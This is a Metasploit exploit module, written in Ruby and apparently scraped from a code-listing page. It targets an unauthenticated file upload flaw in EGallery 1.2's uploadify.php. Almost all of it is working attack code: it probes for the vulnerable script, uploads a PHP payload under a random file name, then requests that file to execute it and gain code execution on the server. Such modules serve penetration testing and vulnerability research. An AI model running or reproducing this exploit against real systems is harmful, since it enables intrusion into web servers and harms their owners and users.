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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "EGallery PHP File Upload Vulnerability", 'Description'=> %q{ This module exploits a vulnerability found in EGallery 1.2 By abusing the uploadify.php file, a malicious user can upload a file to the egallery/ directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on Ubuntu 10.04. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Sammy FORGIT', # Discovery, PoC 'juan' # Metasploit module ], 'References' => [ ['OSVDB', '83891'], ['BID', '54464'], ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html'] ], 'Payload'=> { 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [ ['EGallery 1.2', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 08 2012", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{uri}egallery/uploadify.php" }) if res and res.code == 200 and res.body.empty? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = rand_text_alpha(rand(10) + 5) + '.php' boundary = Rex::Text.rand_text_hex(7) post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n" post_data << "#{payload_name}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n" post_data << "#{uri}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--#{boundary}--\r\n" print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{uri}egallery/uploadify.php", 'ctype'=> "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 or res.body !~ /#{payload_name}/ print_error("#{peer} - File wasn't uploaded, aborting!") return end print_status("#{peer} - Executing PHP payload (#{payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri'=> "#{uri}#{payload_name}" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either.Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returned #{res.code.to_s}") end end end |
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